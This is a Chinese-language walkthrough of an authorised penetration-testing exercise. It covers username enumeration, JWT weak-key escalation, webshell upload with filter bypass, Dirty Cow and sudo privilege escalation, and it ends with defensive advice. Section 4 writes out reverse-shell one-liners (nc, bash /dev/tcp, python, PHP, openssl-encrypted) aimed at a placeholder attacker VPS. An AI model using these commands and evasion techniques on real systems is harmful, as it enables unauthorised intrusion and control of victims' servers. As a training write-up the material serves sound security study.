全程带阻:记一次授权网络攻防演练(下)
字数 1711 2025-08-18 11:38:52
网络攻防演练教学文档:从信息搜集到权限提升
1. 信息搜集阶段
1.1 用户名枚举
- 漏洞点:密码找回功能的图片验证码未刷新
- 利用方法:
- 通过重复使用同一验证码,可枚举系统用户名
- 案例中获取的有效账号:nana、admin、liufei
1.2 敏感信息泄露
- 漏洞点:密码找回功能对有效用户返回敏感信息
- 利用方法:
- 输入有效用户名时,服务端返回哈希密码等敏感信息
- 可结合彩虹表进行密码破解
2. 漏洞利用阶段
2.1 弱口令利用
- 漏洞点:系统存在弱口令
- 利用方法:
- 使用彩虹表反解哈希密码
- 案例中成功获取liufei账号密码
2.2 社工密码爆破
- 漏洞点:用户使用易猜测密码
- 利用方法:
- 针对nana账号制作社工密码字典
- 通过爆破获取正确密码
2.3 IDOR漏洞
- 漏洞点:密码重置功能存在不安全的直接对象引用
- 利用方法:
- 通过修改请求参数尝试重置admin密码
- 案例中因业务限制未实际利用
2.4 JWT垂直越权
- 漏洞点:JWT使用弱密钥
- 利用方法:
- 分析上传请求中的JWT令牌
- 通过弱密钥破解获取admin权限
3. 建立据点阶段
3.1 任意文件上传
- 漏洞点:文件上传仅检查文件类型签名
- 绕过方法:
- 添加合法的图片文件头(GIF/PNG/JPG)
- 在文件内容中插入恶意代码
- 案例中成功上传JSP webshell
3.2 WAF绕过技术
- 传统方法:
- 分块传输
- 畸型请求
- 转义序列
- 偏僻编码
- TLS滥用
- 现代方法:
- 使用冰蝎(Behinder)webshell
- 密钥变换将文本转为二进制流
- 加密传输防止流量监测
- 注意:奇安信天眼系统可检测冰蝎流量特征
- 使用冰蝎(Behinder)webshell
3.3 文件上传进阶技巧
- 白名单绕过:
- 解析漏洞利用
- 本地文件包含(LFI)
- HTTP参数污染(HPP)
4. 权限提升阶段
4.1 反弹shell技术
4.1.1 常见反弹命令
- nc反弹:
nc <your_vps> 1024 -e /bin/sh nc.traditional <your_vps> 1024 -e /bin/sh rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc <your_vps> 1024 >/tmp/f - bash反弹:
/bin/bash -i >& /dev/tcp/<your_vps>/1024 0>&1 - python反弹:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<your_vps>",1024));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' - PHP反弹:
php -r '$sock=fsockopen("<your_vps>",1024);exec("/bin/sh -i <&3 >&3 2>&3");' - exec反弹:
0<&196;exec 196<>/dev/tcp/<your_vps>/1024; sh <&196 >&196 2>&196
4.1.2 反弹失败排查
-
验证命令是否存在:
- 检查目标系统是否安装所需命令(nc/bash/python等)
-
验证出口流量:
- 使用ICMP协议测试:
ping -s 64 <your_vps> - 在VPS监控ICMP日志:
tcpdump -nni eth0 icmp and icmp[icmptype]=icmp-echo
- 使用ICMP协议测试:
-
验证端口限制:
- 尝试不同端口(80/443等)
- 案例中发现443端口在白名单内
-
绕过流量审查:
- 使用openssl加密反弹流量:
- VPS生成证书:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes - VPS监听:
openssl s_server -quiet -key key.pem -cert cert.pem -port 443 - 目标执行:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <your_vps>:443 > /tmp/s; rm /tmp/s
- VPS生成证书:
- 使用openssl加密反弹流量:
4.1.3 哑shell转交互式shell
-
在哑shell中执行:
python -c 'import pty; pty.spawn("/bin/bash")'然后按Ctrl-Z
-
在VPS中执行:
stty raw -echo fg -
回到shell中按Ctrl-l,然后执行:
reset export SHELL=bash export TERM=xterm-256color stty rows 54 columns 104
4.2 提权技术
4.2.1 内核漏洞提权
- 使用工具:linux-exploit-suggester-2
- 案例中利用脏牛(Dirty Cow)漏洞:
- 上传本地编译好的exp
- 执行获取root权限
4.2.2 Sudo误配提权
- 检查home目录下是否存在
.sudo_as_admin_successful文件 - 查找低权账号密码(配置文件等)
- 使用低权账号密码执行:
sudo su
4.2.3 其他提权方法
- 搜寻配置文件中的明文密码
- 环境变量劫持高权限程序
- 不安全的服务利用
- 权能(POSIX capabilities)滥用
- SUID滥用
5. 完整攻击链总结
-
信息搜集:
- 枚举用户名(nana, admin, liufei)
- 获取敏感信息(哈希密码)
-
漏洞利用:
- 弱口令破解
- 社工密码爆破
- JWT垂直越权
-
建立据点:
- 任意文件上传
- 冰蝎webshell部署
-
权限提升:
- 反弹shell绕过限制
- 内核漏洞提权
-
权限维持:(案例中未涉及)
- 后门植入
- 计划任务设置
-
横向移动:(案例中未涉及)
- 内网扫描
- 凭证窃取
-
痕迹清除:(案例中未涉及)
- 日志清理
- 文件隐藏
6. 防御建议
-
信息泄露防护:
- 统一错误响应
- 验证码一次性使用
-
认证安全:
- 强制复杂密码策略
- 多因素认证
-
上传防护:
- 文件内容检测
- 白名单扩展名
- 随机重命名
-
权限控制:
- 最小权限原则
- 定期sudo配置审查
-
网络防护:
- 出口流量限制
- 加密流量检测
-
系统加固:
- 及时打补丁
- 禁用不必要服务